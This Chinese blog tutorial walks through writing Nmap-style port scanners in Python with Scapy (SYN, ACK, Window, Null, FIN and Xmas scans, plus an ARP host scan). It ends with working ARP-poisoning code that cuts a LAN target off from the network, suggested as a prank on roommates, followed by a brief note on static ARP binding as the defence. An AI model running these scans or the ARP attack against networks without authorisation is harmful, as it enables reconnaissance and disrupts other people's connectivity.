继续浏览精彩内容
慕课网APP
程序员的梦工厂
打开
继续
感谢您的支持,我会继续努力的
赞赏金额会直接到老师账户
将二维码发送给自己后长按识别
微信支付
支付宝支付

运用Scapy编写类似于Nmap的端口扫描脚本

苦咖啡_hack
关注TA
已关注
手记 1
粉丝 0
获赞 1

简介

Scapy是一种用于计算机网络的数据包处理工具,由Philippe Biondi 用Python编写。它可以伪造或解码数据包,在线路上发送它们,捕获它们,并匹配请求和回复。它还可以处理扫描,跟踪路由,探测,单元测试,攻击和网络发现等任务。可以说Scpay非常强大
如果您并不是很了解Scapy,可以自行去看一下官方文档和demo:链接,因为这篇文章重点不是教您怎么用scapy的,所以这里就不多赘述了。

端口扫描

TCP Connect扫描

原理

TCP Connect扫描又称全连接扫描,此过程客户端会和服务端进行完整的3次握手。假设客户端想与服务端的80端口进行通信,首先客户端会发送一个带有SYN标识和端口号的TCP数据包给服务器,如果服务器这个端口是开放的,则会接受这个连接并返回一个带有SYNACK标识的数据包给客户端,随后客户端会发送带有ACKRST标识的数据包给服务点,此时客户端与服务器建立了连接。如果端口不开放则会返回一个RST标识的数据包给客户端。

20190405222422-81f37ff6-57ae-1.png

实现

代码实现:

nmap的-sT模式

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    all_port=[3306,80,22]

    for port in all_port:
        send=sr1(IP(dst=host)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
        if (send is None):
            print "[+] %s %d \033[91m Closed \033[0m" % (host,port)
        elif send.haslayer("TCP"):
            if send["TCP"].flags == "SA":
                send_1 = sr1(IP(dst=host) / TCP(dport=port, flags="AR"), timeout=2, verbose=0)
                print "[+] %s %d \033[92m Open \033[0m" % (host, port)
            elif send["TCP"].flags == "RA":
                print "[+] %s %d \033[91m Closed \033[0m" % (host,port)
if __name__=="__main__":
    scan(sys.argv[1:])

扫描结果如下:
20190405113642-0767efa6-5754-1.png

TCP SYN扫描

原理

TCP SYN扫描又称半开式扫描,该过程不会和服务端建立完整的连接,首先客户端会发送一个带有SYN标识和端口号的TCP数据包给服务器,如果服务器这个端口是开放的,则会接受这个连接并返回一个带有SYNACK标识的数据包给客户端,随后客户端会返回带有RST标识的数据包而不是返回一个带有ACKRST标识的数据包。如果目标端口处于关闭状态,则服务端会返回一个RST标识的数据包。

20190405222531-aaf7001c-57ae-1.png

实现

代码实现,直接把TCP Connect扫描的改一行即可,把标识位改为R

nmap的-sS模式

send_1 = sr1(IP(dst=host) / TCP(dport=port, flags="R"), timeout=2, verbose=0)

TCP ACK扫描(大多数情况下用于防火墙检测)

原理

ACK 扫描不是用于发现端口开启或关闭状态的,而是用于发现服务器上是否存在有状态防火墙的,它的结果只能说明端口是否被过滤。如果你用nmap -sA就会发现他只会返回两种结果unfilteredfiltered,因为nmap -sA就是ACK扫描的。

判断端口是否被过滤,分为两种情况:

  • 发送一个flags为ACK报文,open(开放的)和closed(关闭的) 端口 都会返回RST报文,至于他们是open还是closed状态我们无法确定。不响应的端口,或者发送特定的ICMP错误消息(类型3,代号1,2,3,9,10, 或者13)的端口,标记为 filtered(被过滤的)。大致的流程如下图:

20190405220235-76a2ea9a-57ab-1.png

  • 上面那种情况下是服务器REJECT掉数据包,所以客户端会有个ICMP包返回,如果是直接DROP掉的话,就会什么也不会返回,所以我们要判断该主机是否存在,因为如果一个主机存在的话,向它发送一个flags为ACK包的话,无论端口是否关闭都会有返回一个flags为RST包,如果是DROP是话就会一个数据包都不会返回,所以我们可以利用这一点去判断端口是否被过滤了,大致流程如下:

20190405220808-3d219df6-57ac-1.png

实现

iptables配置如下

20190405221110-a98ca6b6-57ac-1.png

代码实现

nmap -sA模式

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    all_port=[3306,80,22]

    for port in all_port:
        send=sr1(IP(dst=host)/TCP(dport=port,flags="A"),timeout=0.5,verbose=0)
        if ping(host)==0 and send is None: //如果ping不通,则说明该主机处于关闭状态或我们是被过滤了
            print "[+] The host is \033[91m Died or filtered\033[0m"
            sys.exit(0)

        elif ping(host) and send is None: //如果ping得通且没有数据返回
            print "[+] %s %d \033[91m filtered \033[0m" % (host, port)

        elif send.haslayer("ICMP"): //返回一个ICMP包
            if(send["ICMP"].type==3 and (send["ICMP"].code in [1,2,3,9,10,])):
                print "[+] %s %d \033[91m filtered \033[0m" % (host, port)
        elif send["TCP"].flags=="R": //返回一个flags为RST的包
            print "[+] %s %d \033[91m unfiltered \033[0m" % (host, port)


def ping(host): //ping判断主机是否存活
    ping=sr1(IP(dst=host)/ICMP(),timeout=0.1,verbose=0)
    if ping is not None:
        return 1
    elif ping is None:
        return 0
if __name__=="__main__":
    scan(sys.argv[1:])

扫描结果如下,我们可以明显地发现无论是REJECTDROP都能检测出来

20190405221254-e7be6532-57ac-1.png

TCP Window扫描

原理

它通过检查返回的RST报文的TCP窗口域做到这一点。 在某些系统上,开放端口用正数表示窗口大小(甚至对于RST报文) 而关闭端口的窗口大小为0。因此,当收到RST时,窗口扫描不总是把端口标记为 unfiltered, 而是根据TCP窗口值是正数还是0,分别把端口标记为open或者 closed。该扫描依赖于互联网上少数系统的实现细节, 因此您不能永远相信它 。不支持它的系统会通常返回所有端口closed。 当然,一台机器没有开放端口也是有可能的。 如果大部分被扫描的端口是 closed,而一些常见的端口 (如 22, 25,53) 是 filtered,该系统就非常可疑了。 偶尔地,系统甚至会显示恰恰相反的行为。 如果您的扫描显示1000个开放的端口和3个关闭的或者被过滤的端口, 那么那3个很可能也是开放的端口。

20190405230731-893c9ecc-57b4-1.png

代码实现

nmap -sW模式

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    all_port=[3306,80,22]

    for port in all_port:
        send=sr1(IP(dst=host)/TCP(dport=port,flags="A"),timeout=2,verbose=0)
        if (send is None):
            print "[+] the host is\033[91m Closed or filtered\033[0m"
            sys.exit(0)
        elif send.haslayer("TCP"):
            if send["TCP"].window >0:
                print "[+] %s %d \033[92m Open \033[0m" % (host, port)
            elif send["TCP"].window ==0:
                print "[+] %s %d \033[91m Closed \033[0m" % (host, port)

if __name__=="__main__":
    scan(sys.argv[1:])

结果如下,为什么显示都是closed,这个因为系统的问题,如果你扫描windows的话都会显示open的,如果您认为是我写脚本错了的话,可以用nmap验证一下, 不建议使用这种模式,除非特殊情况

20190405230001-7ceb0f10-57b3-1.png

20190405225923-6657c84c-57b3-1.png

TCP Null扫描

原理

在发送的数据包中不设置任何标志位(tcp标志头是0),如果目标端口是开放的则不会回复任何信息。如果目标端口关闭则会返回一个RST+ACK的数据包,我在其它文章看到说是返回一个RST包,但是我用wireshark抓包nmap -sN的过程发现并不是这样子的,返回的是一个flags为RST+ACK的数据包

20190405234850-4ea62804-57ba-1.png

20190405233409-4146681a-57b8-1.png

实现

nmap -sN模式

代码实现

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    all_port=[3306,80,22]

    for port in all_port:
        send=sr1(IP(dst=host)/TCP(dport=port,flags=""),timeout=2,verbose=0)
        if (send is None):
            print "[+] %s  %d \033[91m Open | filtered\033[0m"%(host,port)
        elif send.haslayer("TCP"):
            if send["TCP"].flags=="RA":
                print "[+] %s %d \033[92m Closed \033[0m" % (host, port)

if __name__=="__main__":
    scan(sys.argv[1:])

扫描结果

20190405233112-d7d95022-57b7-1.png

TCP FIN扫描

原理

在发送的数据包中只设置FIN标志位,如果目标端口是开放的则不会回复任何信息。如果目标端口关闭则会返回一个RST+ACK的数据包

20190405234817-3ad8f086-57ba-1.png

实现

nmap -sF模式

将TCP Null扫描发送的标志位改为F即可

send=sr1(IP(dst=host)/TCP(dport=port,flags="F"),timeout=2,verbose=0)

扫描结果:

20190405234608-ee3ee0fa-57b9-1.png

TCP Xmas扫描

原理

在发送的数据包中设置PSH,FIN,URG标志位,如果目标端口是开放的则不会回复任何信息。如果目标端口关闭则会返回一个RST+ACK的数据包

20190405235057-9a0536be-57ba-1.png

实现

nmap -sX模式

将TCP Null扫描发送的标志位改为PFU即可

send=sr1(IP(dst=host)/TCP(dport=port,flags="PFU"),timeout=2,verbose=0)

扫描结果

20190405234723-1ae01804-57ba-1.png

Other

emmmm,这个好像和标题没有什么关系,但是还是挺好用的,所以这里就简单地提及一下。

ARP扫描

我们还可以用scapy写一个ARP扫描的小脚本,代码实现如下

from scapy.all import *
import getopt
import sys

def scan(argv):
    opts, args = getopt.getopt(argv, "-h:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
    arp=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=host)
    ans,unans=srp(arp,timeout=0.5,verbose=0)
    print "[+] Scaned %d host"%(len(ans))
    print "Host      MAC"
    for s,h in ans:
        print "{}      {}".format(h["ARP"].psrc,h["ARP"].hwsrc)

if __name__=="__main__":
    scan(sys.argv[1:])

扫描结果如下:
20190405095129-545b4d58-5745-1.png

ARP断网攻击

原理

使用Scapy可以实现一个局域网的ARP投毒攻击,使对方断网, 整蛊一下舍友还是不错的23333 
主机A(目标IP):192.168.163.128
主机B(本机IP):192.168.163.132
网关地址:192.168.163.2

其实这个攻击原理也很简单,就是B主机告诉A主机我就是网关,然后A主机就会傻傻地相信B主机就是网关,就会把数据通过B主机转发出去给外网,如果B主机没有开启转发功能,流量就转发不出去,就会造成断网。

实现

代码实现:

from scapy.all import *
import getopt
import sys

def attack(argv):
    opts, args = getopt.getopt(argv, "-h:-m:")
    for opt,arg in opts:
        if opt in ("-h"):
            host=arg
        if opt in ("-m"):
            Bcast=arg
    print "[+]: Status: \033[91m Attacking \033[0m"
    print "[+]: Host: \033[92m %s \033[0m"%(host)
    pkt = ARP(psrc=Bcast, pdst=host, op=2)
    srloop(pkt,verbose=0)

if __name__=="__main__":
    attack(sys.argv[1:])

可以发现目标机已经连不上外网了
20190405084903-9b89eff8-573c-1.png

防范

防范也很简单,将网关的IP和MAC地址的关系绑定写入arp缓存表即可,具体怎么操作百度就有了,我这里就不多赘述了

总结

虽然我列举的那些例子用Nmap和其它工具都能实现,但是我们不能总是做一个脚本小子和伸手党,多分析别人的工具是怎么实现这个功能的,然后自己尝试看看自己能不能编写一个这样类似的工具出来,多锻炼自己的动手能力。


打开App,阅读手记
0人推荐
发表评论
随时随地看视频慕课网APP